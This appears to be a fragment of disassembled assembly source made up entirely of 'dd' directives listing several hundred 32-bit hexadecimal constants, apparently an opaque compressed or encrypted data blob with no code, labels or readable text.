		dd 0A3FD3F89h, 7E0E0CC0h, 0B389AA3Dh, 9B9E8500h, 2F102D74h
		dd 8BC00C8h, 0F8A77053h, 981E7E4Ch, 15585B41h, 1872D430h
		dd 40DB61A8h, 5E037A29h, 3A778DCCh, 0EAA10081h,	0A9EC25AAh
		dd 7216E19Ch, 67004EB8h, 7998927Dh, 73650078h, 7648C3DBh
		dd 0A7600523h, 7E53B138h, 2DA03B01h, 86C83F80h,	7530C61Eh
		dd 76320D00h, 67065474h, 0C36C00FAh, 415BCD05h,	7003525Dh
		dd 7CF6D1F3h, 19C2C897h, 0DFBC00B4h, 68AD02CBh,	5A14F3A6h
		dd 0C0B06C30h, 0DFE71BDCh, 1AA308D8h, 5E808538h, 0ED76B49Ah
		dd 57810F21h, 13E0E448h, 0CCFDD82Fh, 97C83319h,	0BAD4C111h
		dd 80522A5Bh, 0A8EA2490h, 0ECF84004h, 9C03299Fh, 5289A651h
		dd 1FE00076h, 5B8C9025h, 0D000F115h, 0B5977048h, 0A03ACBDEh
		dd 0FE683850h, 6BD1003Eh, 1D7ACCD7h, 4A188912h,	3D7CFEB7h
		dd 0E8E4ABA6h, 0F39476h, 98205B5Fh, 0D1103A51h,	29467A05h
		dd 500354B4h, 0C3C0D64Dh, 0B8CEDB4Eh, 9244997h,	0E18601E7h
		dd 0F12B5010h, 0ED0133F0h, 0DED8F912h, 99809A39h, 4F2B5537h
		dd 4B0B8C85h, 0E8B74B6h, 9F21F812h, 0E2782E67h,	2B500C19h
		dd 0BA3A0179h, 0DFCF81ABh, 215916C0h, 74EE360h,	65E3262Fh
		dd 88DD4098h, 0D43AED7Bh, 9351E039h, 1F730206h,	0D25BDF62h
		dd 539C4094h, 4696210Eh, 84F310C1h, 56F04DD5h, 0E82E7C48h
		dd 0ABA6186Ch, 5AA8499Dh, 0EC41CCA8h, 0E54E3803h, 0D887437Fh
		dd 3EE6276h, 4D0114D2h,	0D8D91852h, 403AF115h, 0A63C3D7Ch
		dd 2A8EF550h, 8F815E38h, 20868976h, 0EC75CCC4h,	5C3A50FBh
		dd 0CFC23C38h, 9969C00h, 0C62478F2h, 33D81501h,	62A8E6BAh
		dd 0C7A424h, 2B787B27h,	0CA52018Ah, 97028E07h, 5B877057h
		dd 8654EE40h, 0F2D0A624h, 411567A8h, 99879039h,	800A60Bh
		dd 0A9F8AF02h, 7FC601Dh, 5BD8B370h, 0AB3D4221h,	1A2BB521h
		dd 0EA0A22D4h, 0A9580073h, 19E7E917h, 0A6182D2Ch, 79C98F95h
		dd 0FB510F13h, 7EE1C332h, 0E62A84BBh, 0A0141040h, 57E4C206h
		dd 55AAAD07h, 8820F848h, 0F8A1CE16h, 0D3B7BD60h, 3B001137h
		dd 0E70ACB80h, 14DD735h, 0A1C4B3F5h, 12AD3FD0h,	8BE96028h
		dd 0ABB61576h, 8900DC5Eh, 21BB5C25h, 610C961Bh,	38A049E6h
		dd 356888ACh, 0E13A06F2h, 67EC8377h, 258671h, 0A17DA489h
		dd 2AB1A30h, 19C7A900h,	61972DC0h, 50E89070h, 60E2E8D9h
		dd 0F3A731D2h, 0C51D25B8h, 660034D1h, 2A6E05CCh, 51F2E2h
		dd 4CB9ED56h, 8549F3A5h, 80A917FEh, 7F22044h, 36102700h
		dd 82F9F667h, 211860CEh, 5625142Dh, 0E7421700h,	0B4E55520h
		dd 8A814428h, 0F3507DB8h, 0F20EE628h, 0E20A12h,	10D1D8FCh
		dd 40A67EDFh, 1A0C82B0h, 312FCC6Ch, 76110080h, 0DD6DBEF0h
		dd 0B602872Bh, 20838E6Eh, 0C0EF61E7h, 30A54C0h,	788D8412h
		dd 0F9E63FD1h, 770097F8h, 0AC493309h, 54335B6h,	8B2D5DF1h
		dd 9C80FEF0h, 3074ADCFh, 14818939h, 407A81EBh, 1A166112h
		dd 313B5030h, 25C30098h, 0AB67BF1Fh, 9A0B8CF4h,	833EAD50h
		dd 7E30CC5Fh, 0D5B8B9h,	3B65E9FCh, 0E6CE9F01h, 6A270C00h
		dd 0CFADC174h, 580EB836h, 0DE811C07h, 9E8639CEh, 8EC06A89h
		dd 4F513BBDh, 1E7B69h, 0EB98FC32h, 0E081A134h, 540EF0A4h
		dd 80C2533Fh, 74088552h, 0B7E300F3h, 2D781543h,	0C5484923h
		dd 79C44297h, 81800E58h, 0DEA316C2h, 3A51A830h,	3E02692Ah
		dd 0C431B86Eh, 0F41F8046h, 9580C155h, 25EFD2CEh, 0B3A5001Bh
		dd 0A604AB22h, 323D57E0h, 31D16206h, 6D34418Bh,	14435C60h
		dd 407E2A5Bh, 0D57613h,	191D319Ch, 0CF1B05CBh, 0EB2116F3h
		dd 2764B06Fh, 6B770E85h, 0E4A063A6h, 0F85DC1F3h, 3AD6300Ah
		dd 908080AFh, 0CB416F1Dh, 25BE3C86h, 44340B83h,	51007DF3h
		dd 0B3DBC993h, 24B5D681h
		dd 16FC3B16h, 5B1C03FCh, 29002C28h, 0BBB066AAh,	98741A6Ah
		dd 0AC4F02C4h, 7330A28Ah, 6DBFECC0h, 910C9AFAh,	3931CF86h
		dd 61C100D7h, 8F1D5CA0h, 9B00E13Ah, 0C4E37B5Dh,	192663h
		dd 7F953B30h, 397552B9h, 39828040h, 0DB8FD334h,	0E1C0FF8Bh
		dd 4F701683h, 0A337AA01h, 1AC2612Ch, 227C4D4h, 8C98BBF4h
		dd 8C43979h, 3AB75B00h,	0B01A04B6h, 40740007h, 88A76CDCh
		dd 131D5318h, 80FF6186h, 5139546Bh, 0C08FB257h,	2F871D10h
		dd 5500AF2Dh, 59AD6630h, 0A0649D15h, 1379D4D0h,	20DC8670h
		dd 0D8A174D8h, 20EFA0A1h, 7A88A9B4h, 26CF00E0h,	7F15AE1h
		dd 6898496Ah, 2A2D344h,	8F723DA6h, 40C005CAh, 0C1C08DA3h
		dd 98DF7531h, 2A7103B7h, 0D0D986F0h, 14E3902h, 40DCE970h
		dd 80D4A658h, 33002A6Ch, 0E2541F7Dh, 1D5B3ECh, 0E8867BC2h
		dd 0F0C3CE83h, 0BE2C5243h, 49607C77h, 5C6EB3h, 0A6EAFD9Fh
		dd 6F3F38B6h, 2C0F4290h, 80E2D0D4h, 0F6DFB4B5h,	84BA0F98h
		dd 0C2E19771h, 30A5331Dh, 3888238Ch, 9424000Bh,	20F4FE42h
		dd 0EC00D291h, 6A9E3073h, 3CAF054h, 0BC6178B9h,	7BC71D5Bh
		dd 8496E083h, 63A89112h, 17F6AC40h, 77DD0373h, 25812C83h
		dd 4061E490h, 2EC7D67Bh, 11C03C1h, 0E8458336h, 0A809F6FBh
		dd 12F3534Ah, 14386048h, 0BF2401AAh, 99C0E9ADh,	5DA3207Ah
		dd 6C9A8112h, 0D91E8400h, 4F02B2Fh, 3DCA3120h, 0E28C838Ah
		dd 19C4C0A4h, 0B612EB05h, 58203AAFh, 2EB491ECh,	0D3406BC0h
		dd 0F4442CFAh, 9BBE0205h, 0C1C0A879h, 0E22F770Eh, 20FA4893h
		dd 6D00AE22h, 0F18A61DAh, 29D66Ah, 0A8131C91h, 757E2374h
		dd 5132CC30h, 0E8BA4DABh, 0F9D004Ah, 7FE421E7h,	7E00B3BFh
		dd 0AE01A515h, 0F720C6Ch, 277C2D8h, 0CC989509h,	580112CAh
		dd 5442F00Eh, 5DC8244Ah, 0D6DB0088h, 37DA7EE5h,	39307B4Eh
		dd 684CF192h, 132D0083h, 29FB4703h, 0CF007EF5h,	2E0FC9B1h
		dd 12F4E358h, 203DBFA1h, 73B9388h, 4CFA0D01h, 0E769042Bh
		dd 29E6CC60h, 0FC0923h,	0A75DC925h, 121E4EFFh, 44665B74h
		dd 3C33CC40h, 0D14607BCh, 77AC1FC0h, 3461DC3Dh,	0ADE54Ch
		dd 0DF7442AEh, 0D25B29h, 2DD96EA2h, 0D84D6A88h,	0F4718702h
		dd 64CCF761h, 0C0F6ACh,	1753EB20h, 50ECE18Eh, 1077BB25h
		dd 65EAC7Ch, 3D8AFF6Bh,	4F0371AFh, 7ED55C97h, 0C031E208h
		dd 30FB70FCh, 54A0E72Ah, 0F84866DAh, 8F22ECh, 14FD262Fh
		dd 0B71A8583h, 7CCAC812h, 8BA7E408h, 7819FFDEh,	0D800FF58h
		dd 87DA62C6h, 9F8294Bh,	656C85F0h, 9FB97898h, 1CD7B60Bh
		dd 5B4E8380h, 3A92D091h, 0B5B70E60h, 0E709DE88h, 0F4D2B881h
		dd 200421AAh, 0A6287568h, 44A074ABh, 0D02C8A14h, 0D83A50C2h
		dd 12400BA0h, 87088439h, 0E48B3C40h, 0C5002762h, 9DD56145h
		dd 0F737ABF0h, 3A30860h, 968C9A35h, 81B90748h, 24D472E1h
		dd 7A80607Eh, 0B857BCCh, 285C0001h, 778DE354h, 81149DC5h
		dd 0F8DE33h, 2F6CA31Eh,	671AAC4h, 974DD51Ah, 370F9840h
		dd 75CC30AFh, 72E801E4h, 0B91E805Dh, 342CC2D5h,	456DB581h
		dd 7EDA40A2h, 40C1AEF8h, 0CD91EB3Ah, 0A87BF608h, 7318F7EAh
		dd 0B6A0AA84h, 5E013866h, 3EE1D4E1h, 0A7C980A1h, 499D70AFh
		dd 52770192h, 12BAF245h, 0F89ED08Ah, 0A8E6E428h, 777625E8h
		dd 2E7D6E01h, 31DB1EB4h, 987FCCh, 6F617154h, 23754CBCh
		dd 9410082Ah, 69A53D30h, 388BD48h, 0E2D2F8EFh, 0AAB097E4h
		dd 0F0485D57h, 0AEED0928h, 18C42Ch, 0AD488F52h,	0FF8DC106h
		dd 873CB800h, 0E5B57C6Fh, 29AC603Eh, 32A98F75h,	54D1700h
		dd 8687C541h, 42909427h, 84E070FBh, 0B8C5E5AEh,	3440B506h
		dd 89870143h, 0CBEC00E8h, 0DAAC46B9h, 0F9041754h, 39647141h
		dd 1C3DECC8h, 47753CF6h, 0F1335F9Ah, 0D0E9919Eh, 0FB00A54Eh
		dd 2FC52541h, 0B9938E39h, 3DA38004h, 0CB55B245h, 0E8785400h
		dd 26F90DE6h, 123AECC6h, 0EDD831h, 0BC9D1814h, 4D0C277Eh
		dd 58484BA7h, 1FC20E42h, 10968586h, 1212A1A4h, 4F91E8Ch
		dd 0B05BA9EAh, 6D00EC40h, 5C7B6AC4h, 0A028B229h, 2EDEA0D8h
		dd 8A8C7h, 262A37CDh, 0C001A91Bh, 0B8979D64h, 2029295Bh
		dd 0D82EA200h, 0FC49F3FEh, 0D01AF818h, 0BCF168h, 0FBEECB25h
		dd 71027B5Eh, 11EE672h,	0BFB6A40h, 9026B5D2h, 1678CCCCh
		dd 8620C86h, 3380A508h,	0B98BBEB5h, 0EB8C00C0h,	74AB3A7Eh
		dd 3490888Ah, 0D3CBFE00h, 610A2DC2h, 2228908Dh,	2416600Fh
		dd 6488BFE7h, 800501DEh, 0D38CD5D9h, 0D1F04706h, 11A2DB86h
		dd 918024CDh, 8AE3726Ah, 42001DEFh, 0C8106678h,	0BA8BBh
		dd 863F2AC3h, 0B597EB2Bh, 0F4403C4Bh, 75152810h, 5420FF52h
		dd 3BA628E5h, 0B29625F8h, 0CC746CA1h, 44E81030h, 9DE90037h
		dd 0DB6A35F5h, 0C800A6A3h, 0AE4BAB11h, 515B5896h, 50284C56h
		dd 19ECCB80h, 22191EC3h, 0C470764Fh, 0EAB428D0h, 44F09481h
		dd 4F2A2160h, 0D6A7B980h, 0B918DA7Bh, 0A1E0C98h, 2066048Ch
		dd 426F3260h, 0E05C3031h, 2F5B5F74h, 7AA12CA0h,	188E0B0Bh
		dd 3158049Ch, 0D1AC8853h, 0C29F6500h, 6FE20C5Eh, 0D8DA24E6h
		dd 3B1C015Ch, 69DF8647h, 1740FDCh, 0E784C2A1h, 5C8C40E8h
		dd 213421D0h, 68B4D780h, 0CA36D8h, 0A169428Fh, 28DC7413h
		dd 5B119F09h, 4F80064Ah, 1B0813D0h, 469C0F2Fh, 0A17F52A6h
		dd 0DF4A30B8h, 2F1D0820h, 6CD81F3Dh, 646240A5h,	460153C1h
		dd 0A0796729h, 3D313E40h, 6218C8C0h, 0F8178BA0h, 0EC1C1647h
		dd 0A911A550h, 0BB1B0017h, 0A33AC3Bh, 84770090h, 0C8D26D5Eh
		dd 180F1E78h, 80FFE90Dh, 0CE460A98h, 13A1F44Dh,	47668F1h
		dd 0E4F34F94h, 8B00B284h, 0DC5DB581h, 0F1A0630h, 3B832A78h
		dd 0C0CEAEE7h, 21DC3E4h, 0AB693400h, 54845E97h,	99C7001Fh
		dd 51D3A01Bh, 0D800D929h, 22A9704Dh, 17859h, 5F79434Fh
		dd 0D4BC2D2Ah, 18F5A327h, 925DA9C8h, 6F4F03A4h,	39066809h
		dd 70475780h, 4B729707h, 947AF3A5h, 74070A17h, 3E75A2E3h
		dd 0CB58C8h, 3A73C115h,	9FE00DD5h, 5C707E00h, 0FFAC5FE8h
		dd 63621726h, 1A820074h, 866F7A6Bh, 8AB0E148h, 0D88148A7h
		dd 81A2DCD9h, 551080D2h, 9333439h, 3AD3BCE4h, 3EA62490h
		dd 54DE8500h, 0A9E11683h, 98300351h, 0B5D726C1h, 0CCE9F2D2h
		dd 224038CCh, 0C2BA0015h, 0F8229EA8h, 0F63991A5h, 58463A6Ah
		dd 0D1221Ch, 0C32AF22Bh, 24AAAF16h, 86FCC009h, 23701825h
		dd 81889C0Dh, 0D032C624h, 0A702D3Fh, 0F647F128h, 0DA9F7829h
		dd 0D9061D40h, 1715C2Fh, 243096B3h, 0D41BD822h,	5402C3C1h
		dd 0A6F0794Fh, 0D18C919Ah, 50D0C034h, 3F2303Ah,	304B98C7h
		dd 3EE833CBh, 3A5AD6D8h, 0FF1A043h, 0A299D053h,	16F775Dh
		dd 0FAC7F3D0h, 202D0262h, 4F4E5BA4h, 0BCBBA420h, 0DA461695h
		dd 372820A8h, 6202836Ch, 6E1CA55Eh, 0C2E603Ch, 0BD8B252Ch
		dd 6CAC6090h, 0B55803FCh, 28490008h, 1D1A87B6h,	332328DCh
		dd 2840014h, 5B6FD026h,	2C909C41h, 18A9092Eh, 0DC438040h
		dd 76FC5862h, 1C2BC800h, 374CAE6Ah, 5E161AE2h, 9D001D78h
		dd 7A4810DEh, 31533E6Eh, 232358Bh, 0DAED1418h, 0D1444898h
		dd 9463F304h, 3424F100h, 4785E19Ah, 0D5089F00h,	0EADA8981h
		dd 0B17604F8h, 0C4387E8Eh, 1F7080C3h, 0C30C0C60h, 0C0887856h
		dd 0F1CB0203h, 0D171556Ch, 9F1FF0D1h, 59D5D283h, 0BBDEF9A9h
		dd 40A56060h, 796185D4h
		dd 8E087450h, 4EA5020h,	155BAE98h, 0CBE4C14Eh, 0A47D39h
		dd 36557D25h, 0C23AEFh,	0E49F7B3Fh, 0C888B746h,	0CA959709h
		dd 0DA6C10CCh, 722FCB8h, 9FD3D96Ah, 0B2DD119Ch,	14B04C24h
		dd 0B8CD5407h, 34D01C42h, 0DE2E68h, 51D24393h, 0EC220679h
		dd 192D4600h, 7D987586h, 24FAE8CCh, 40643849h, 0AD7B39C2h
		dd 40332503h, 0D82E22BCh, 5C20B4E2h, 2A1B2B80h,	0C58CD0A0h
		dd 8070B2A0h, 0B4DD9F50h, 866A3CF3h, 0B2439A00h, 38097BB3h
		dd 2380D096h, 50D82DC1h, 4C8005Ch, 40567814h, 2B04F925h
		dd 9B7E185Ah, 0C076F080h, 0CE3300A2h, 0A6527868h, 594E974Eh
		dd 0B0FEEC31h, 0EEC598F7h, 2BC0084h, 838B257Dh,	0CC5FE551h
		dd 1BCD0447h, 7443F8F1h, 5AC2A6DDh, 0ADD15C2Ch,	0B5D3A109h
		dd 58D92442h, 0A7B92D00h, 90420A71h, 0C9110057h, 168186C3h
		dd 84A1B895h, 3D3010B0h, 1DCA0049h, 1EF37045h, 0A91971B1h
		dd 9C2823A1h, 3AC43015h, 23E8F7F3h, 927C5E00h, 44CB4234h
		dd 0FF4A2F85h, 6C9848Fh, 2A71A4E8h, 0E50090BEh,	0EE25BFFCh
		dd 0AA98009Bh, 55A09783h, 71020170h, 31890B17h,	0ABD7C1D5h
		dd 9006039h, 5F4E3EFEh,	98951A0Dh, 98D62B0Ch, 35A84474h
		dd 3100A17Fh, 578C0844h, 2EC40743h, 890C7D04h, 8460BAB1h
		dd 0CB137623h, 248C98A6h, 0B6892CFAh, 681E05F0h, 51C430D6h
		dd 0D71E7798h, 61923D83h, 6C88A416h, 8E6C161Ah,	878054Fh
		dd 3A1C40EFh, 63CBDB96h, 4D327D01h, 9EBA601h, 0F059430h
		dd 6A0BD4E9h, 8A92FD44h, 0EE007C4Ch, 5BC5B8ADh,	1F2CD7B5h
		dd 85464D30h, 0D411A3h,	24BC09FCh, 809945E9h, 0D767EC83h
		dd 9C80B58Dh, 0CA2548h,	40A2301Ah, 67B14201h, 0DEB88904h
		dd 0F0883AC7h, 0F4350020h, 6A69D91h, 1C005558h,	959B0A68h
		dd 97E2C51h, 0D8E52D9Fh, 6CA6EC98h, 0DF7BD4FAh,	0C7650903h
		dd 0B8982FEAh, 2725D95h, 4BFE1D5Bh, 1CC9EB29h, 760033E7h
		dd 73269400h, 8617C6EFh, 0C90700A5h, 0BB68063Ch, 41014B15h
		dd 0DC3199BAh, 0DC28D054h, 609B7C80h, 0DE00FC93h, 0CE102B52h
		dd 4CEB5F2Fh, 0AD22B4D5h, 0C2D35500h, 79188F9Fh, 0A0CD0061h
		dd 504829D2h, 0DE0E521Fh, 36761A6Fh, 0DBD8F404h, 18007549h
		dd 0DF257420h, 0CBF5E205h, 7C003FDAh, 2CC2FDF6h, 0ED3B008Ch
		dd 35C4F806h, 0B2B0D418h, 2ECFB512h, 3B500040h,	9BD63Ah
		dd 855CE983h, 39E1E767h, 6336EB02h, 40AD1373h, 9C675F9h
		dd 5FA989F1h, 5380027h,	0E5E100D5h, 9171AB8Bh, 543648h
		dd 4C5BDDC5h, 2EF3B56h,	5802E4D8h, 8856DFB9h, 845A8640h
		dd 2CBE0145h, 302AE803h, 80F02840h, 90EF922Dh, 683F0055h
		dd 0E32B81B9h, 0FF5F7E53h, 40E7CC20h, 827378h, 869F6F42h
		dd 0F3A79102h, 4D6CBF00h, 0A6BDE8AAh, 8249799h,	64488A9h
		dd 0D496A01h, 77E9766Bh, 4C1DDDF8h, 182284C2h, 59A1B500h
		dd 64A2C5AAh, 0BE200915h, 10712D5Bh, 0CCE2D000h, 0C3C0D8h
		dd 48910819h, 0C99AA70h, 8D711602h, 0C05C63E2h,	2A8ADE58h
		dd 0B6A058A8h, 14724ED0h, 8D0BE12Ah, 18C83D1Fh,	8001DD7Dh
		dd 0CFDAB67h, 0DC48CC6Dh, 0BE41009Ah, 0A2AF0239h, 0D2008328h
		dd 4ABA4BCAh, 32A4525h,	700F7F94h, 33BA6ADBh, 4CF5A0C1h
		dd 30004AC0h, 8A7C3B21h, 0F7763224h, 0B90523D8h, 3CA800Ch
		dd 0AD71430h, 54F78B00h, 18442937h, 0F9F4A087h,	2ECE009Ch
		dd 0EA42C71Ch, 551402DBh, 80A0F3C4h, 0C6CA28C9h, 1D4104A5h
		dd 0C0DD5F86h, 0CE3088B4h, 9C0F35E2h, 0E0021E5Ch, 93A87BA5h
		dd 0B42F0CD7h, 0A489D981h, 4F34E1Ch, 0DDF15442h, 307FC008h
		dd 20A15B1Ch, 94B789C8h, 0E0001678h, 0D1B1799Dh, 9A54D87h
		dd 82573D56h, 40A40B77h, 0B90C23C8h, 424C1D34h,	2E5B5FFBh
		dd 2F711083h, 0D6FE59B8h, 3B1AC001h, 0D92AC3F7h, 2884202Ah
		dd 6E7A21A5h, 22915000h, 2E137E29h, 1B9B0960h, 0C068D32Ah
		dd 718A2F2Dh, 4F120790h, 4BB70B4h, 80EFD31h, 405947B0h
		dd 5402E536h, 0E9742489h, 0C8A260B8h, 1C01292Fh, 5286306h
		dd 6823F59Ah, 0C6AF3200h, 87756F1Ah, 2AB5D012h,	857F5430h
		dd 3E109CA6h, 3EC30709h, 0BCD81890h, 87985B1Eh,	0EB54300h
		dd 0B770DD4h, 0A739C314h, 6BD3ECA3h, 0A6327FC0h, 0C9B3FE32h
		dd 0F261E01Ah, 6C91A9h,	7BB86BD5h, 0FA005BEFh, 0FF617C37h
		dd 88AD3DB4h, 0D51F080Eh, 0D7579B58h, 3A278088h, 4B81CF12h
		dd 1EB42B10h, 0EC6333h,	6DA32489h, 2C52CFh, 3F1560ECh
		dd 1614CE3Ch, 0D040A84Bh, 854FD3F8h, 978C0C5Fh,	8AF8244Bh
		dd 0A155B06h, 2959A9h, 4E05ABFFh, 4863995Eh, 21C8E802h
		dd 717E14CDh, 0ACB900E4h, 224879F4h, 76AFC813h,	0DB536B05h
		dd 4207FCF2h, 0E0C2DF88h, 0A55C2FC4h, 815CD554h, 0DC0024B0h
		dd 0FD1E411Dh, 12163FF8h, 45A8A69Bh, 809FC734h,	559437B8h
		dd 277AC0Bh, 859010B2h,	38EB091Fh, 78448925h, 0DD4C4EA0h
		dd 0F70053F0h, 6A36D5DBh, 9CF7B8Fh, 5538A963h, 65B09CC4h
		dd 7F041107h, 0E8604AA8h, 0B0D813DCh, 52FAFDh, 12333CF0h
		dd 0AED19E0h, 0DF560D00h, 70BC20B9h, 0BDD10150h, 0A3EFAAA1h
		dd 0B2F4F443h, 0BE936807h, 8ABFB8DBh, 3F00A7A7h, 0C6637319h
		dd 78080D29h, 0F1502460h, 359CDC87h, 96F2E79h, 65908028h
		dd 0ABFE2D4h, 2D971554h, 75800040h, 0CC7BB522h,	0D31FA500h
		dd 95F7C732h, 782A0799h, 0F39CF6B0h, 610F2656h,	20436998h
		dd 0BFA80442h, 6D306E3h, 0A8B7D6E0h, 80B0F700h,	0C70BF8CBh
		dd 0B6380C87h, 2871E82Dh, 0ACC258h, 9345ADBAh, 142E567h
		dd 7C01BFA7h, 83275278h, 0B5B87969h, 7388D144h,	0D5C996h
		dd 0D24E70E4h, 0C9F87187h, 0DE0C77E8h, 80B5A25Ch, 4A85CE9h
		dd 7B86300Ch, 9AFA6239h, 7703F3F2h, 0A1372A4h, 407EFF17h
		dd 0E8F07686h, 0F8FE1873h, 3AF6A906h, 0D40F89DFh, 8E073F6Ah
		dd 20208796h, 0E894E0h,	60A136A2h, 0F35473F2h, 5F382800h
		dd 55302186h, 11CE1807h, 643B513Ah, 7F6DF605h, 0E05DAC03h
		dd 8AE25B41h, 73F0CFF1h, 553E870h, 0EF9C38C8h, 0F424A1h
		dd 9713B0C0h, 0A450E0BAh, 10076E20h, 456FFD6Ah,	1C742E10h
		dd 0BEDE24E0h, 0EE786130h, 7003CDBDh, 0DB7EC355h, 0B4809701h
		dd 0F61E87A0h, 823C1C22h, 3A47AE07h, 8BE0027h, 340AE7B3h
		dd 14CC2154h, 0E0BCDB80h, 30FD5AC5h, 0A6693DF0h, 0C07AFE7Eh
		dd 0A1C05EE0h, 1C6E8412h, 624D001Ah, 0CF5551EAh, 0E807CDB7h
		dd 0A88F1D97h, 9408F295h, 80369EE1h, 0B6B976E7h, 0F001D23h
		dd 7115D5A0h, 91F4FDA5h, 1BE01E24h, 97C090EEh, 7901A8F7h
		dd 0D40C8A09h, 2EE5BF62h, 5EF1B180h, 873C3B7Dh,	0FFB51000h
		dd 17D0A55Bh, 466F1DD5h, 0BEAF8173h, 42CFB2F2h,	0A42160BCh
		dd 7192D28Dh, 0B8020F6h, 86006FE4h, 888D529Dh, 70F377DDh
		dd 8A4302Eh, 1393C038h,	0E59E7600h, 0A0F5BFE1h,	37DF00F4h
		dd 0FD829F6Ah, 2CA105F2h, 9B501735h, 7F3702Eh, 39EA8868h
		dd 8E5807B0h, 0F220490Fh, 2E20D608h, 6C652C24h,	49EB128Ch
		dd 741600A5h, 0DEEF7F62h, 0D400CFAFh, 33FF56C5h, 9CA11C6h
		dd 0BE90056Ah, 17A4680h, 0AE789635h, 0CCFBEF00h, 57487A2h
		dd 6CCEB0F6h, 1A30610Eh, 53D1F000h, 0FB8A0B15h,	0AE8F0350h
		dd 78851254h, 0CC3C291Dh, 8A512B80h, 36C25C5h, 0ACD434B0h
		dd 3873F64Eh, 0F86A3328h, 12740700h, 0C0C73CFAh, 832E12BAh
		dd 30B83368h, 0AEF8924Fh
		dd 60014607h, 0A1A06052h, 7C39E21Dh, 671900C0h,	3711D1D4h
		dd 0C2090076h, 88964D41h, 2704200Ch, 222E1807h,	0E6780CCh
		dd 0E0A336D9h, 0CCA03052h, 65006168h, 0FD6B2B83h, 1170ADC8h
		dd 0D5122Eh, 412C5F93h,	1CC63466h, 944287A9h, 0CD002C73h
		dd 27282F7Ah, 56041498h, 11FB698Fh, 0DE5488h, 53ECF3DAh
		dd 5FA2FC98h, 17699B0Fh, 120123F9h, 0D12900D6h,	1CB1608Ah
		dd 960213CAh, 0F4097834h, 1EA84690h, 40EA4DA6h,	5C96D1AAh
		dd 7202B27Fh, 6E1F777Dh, 0B14CE1DCh, 602DA4E0h,	0FE2E59ECh
		dd 0E276958Ch, 0DCC0D301h, 0AE216DC8h, 91DCAC4h, 242E6E9h
		dd 0F4BC1C80h, 7602879Fh, 0B3771405h, 1D5046ABh, 40A04FB5h
		dd 6BEBBC4Ch, 8C0E8B7Bh, 80D92EA6h, 5A02CEA2h, 8C2090B7h
		dd 0EABD24BCh, 96CA60F0h, 0EC000759h, 5A3464EEh, 322432Ah
		dd 987AAC2Bh, 33B97946h, 0DCCC315Eh, 0B9729B6Dh, 0F684AA00h
		dd 7A1FB878h, 0A0EF269Fh, 0E0744090h, 100903Dh,	6F8792C0h
		dd 0E44D861Bh, 7689CB0Dh, 0CDFCF180h, 1F582037h, 0F0020914h
		dd 239C84E5h, 2CF77898h, 0F68336Dh, 0B95812ADh,	2D0002BDh
		dd 831DCB88h, 5116C7h, 21C0DC1Fh, 0C824D7FAh, 0FC8AA429h
		dd 0F5E3BE00h, 3C9AE62Dh, 19607B95h, 77837E3Fh,	98A371C0h
		dd 6F89D39h, 0B0C264BEh, 0E71FF075h, 0AB8F9F70h, 4B870789h
		dd 0F6819910h, 9AB272EFh, 0F7B51C7Ch, 406824A6h, 3401F2D2h
		dd 11F0AA13h, 20A84830h, 415801E7h, 0E817BFB4h,	97CFEC96h
		dd 9800D172h, 4438B5C0h, 44BA7809h, 0D068725h, 0A3037D88h
		dd 0FD730049h, 151D2F11h, 0EB0079EEh, 0BD8471F3h, 7DAD88E3h
		dd 65B0C214h, 54619934h, 0E8C3100Eh, 0AFC53030h, 6DB38420h
		dd 236D238h, 8BFD649Dh,	89C903Eh, 1FDD06F2h, 41708877h
		dd 16812801h, 5C75FA96h, 4507EC63h, 0B02C2BCBh,	0BCE99866h
		dd 1F6AD000h, 7C295469h, 0EE457C22h, 5AFA6525h,	0F9C5BFAFh
		dd 86E36C87h, 3D490371h, 42697C9Fh, 0C92FDBC8h,	0D188004h
		dd 7CD05401h, 632A76C5h, 7F854093h, 4C203900h, 4D7A7F6h
		dd 5F7CB8h, 0DC18155Ah,	0D17D2706h, 212EAA15h, 0A4ED00D0h
		dd 3853D389h, 87983C0Ah, 4488809h, 0F2DFAC80h, 0E4B03C6Dh
		dd 5E3CA4Ch, 18BE78BFh,	0A414C841h, 9454E9F1h, 766CA401h
		dd 12D0A25Bh, 1119C0EFh, 0D61A4F6h, 18825900h, 0E34A7D8Dh
		dd 0B6C55C1Dh, 9012BD00h, 865A48E4h, 4F997A60h,	0FC3E9Fh
		dd 8EE154EBh, 3BCEF17h,	841C442Ch, 295ED402h, 0C2648024h
		dd 7C852677h, 50FCB00Fh, 78674CF3h, 8D5A0948h, 1C20A703h
		dd 37F5F729h, 90176EFCh, 860C7E92h, 1D48D92Fh, 35B7512h
		dd 0A1635326h, 2AC63080h, 28349F58h, 0FC00C013h, 0BECBCCF0h
		dd 0F8B5352Bh, 0C718C5DBh, 89448748h, 0A0045C12h, 7C4CC215h
		dd 4C4ABC2h, 0DD10AD00h, 0F9A0B831h, 0FA9B0002h, 78D45DB1h
		dd 12605383h, 5061DE50h, 4CECFA93h, 0F1011487h,	0D6EFDFC6h
		dd 7A66F015h, 8444F4Ch,	18F57CEEh, 0F3A4E9A8h, 8902F8B9h
		dd 614720D0h, 38816C24h, 0A0F7CC13h, 72E83201h,	2B413300h
		dd 0FFD9C506h, 0F0993B84h, 0CD1EC602h, 0EC9808EAh, 7F242E60h
		dd 0B50083B4h, 0E7AE335Fh, 2EA042Ch, 0CC1FC8A2h, 8C00C604h
		dd 0CCB9F0E0h, 5CB8AD69h, 0CF80642Dh, 7758651Fh, 2BA02500h
		dd 0CC801456h, 887924A4h, 2CEE40ACh, 0F407325Eh, 0B2D4E2D3h
		dd 0F8FE6AE3h, 0CE1017h, 9E08BFA8h, 0EBC09385h,	1D3180Ch
		dd 3A458159h, 913DC507h, 0A4EA5080h, 0EB0F5416h, 3E01E301h
		dd 81711033h, 7183F131h, 0D08F696Bh, 0B39A42E0h, 2A546E00h
		dd 712D2FE9h, 0AA61791h, 6D44F79h, 0AD894E00h, 0B107B566h
		dd 7DC9C41Bh, 0EE8EFE11h, 0CCE0E994h, 449086C9h, 7E0913C2h
		dd 453C74Ah, 0D8CCF194h, 74A600D9h, 0F40B246Ah,	210087FCh
		dd 1B03BF3Dh, 9229F6A3h, 0B36A0024h, 0BAB9E41Eh, 0D9008E85h
		dd 216BEED5h, 187DB5D2h, 71728379h, 58004A47h, 8C636AF4h
		dd 0B82F6B3Eh, 62EA00B4h, 0B87B9782h, 18006D1Eh, 324E982Ah
		dd 2E58F8C2h, 98005F02h, 57C3080Eh, 0D9D06D0Eh,	0B45D0AA4h
		dd 0E1CEDA80h, 0A50B2Ah, 0BD605632h, 0B1EE4D89h, 7B4BD600h
		dd 85616754h, 79D8003Ch, 0E2FCC8FEh, 0B32AACA1h, 1212A87Ch
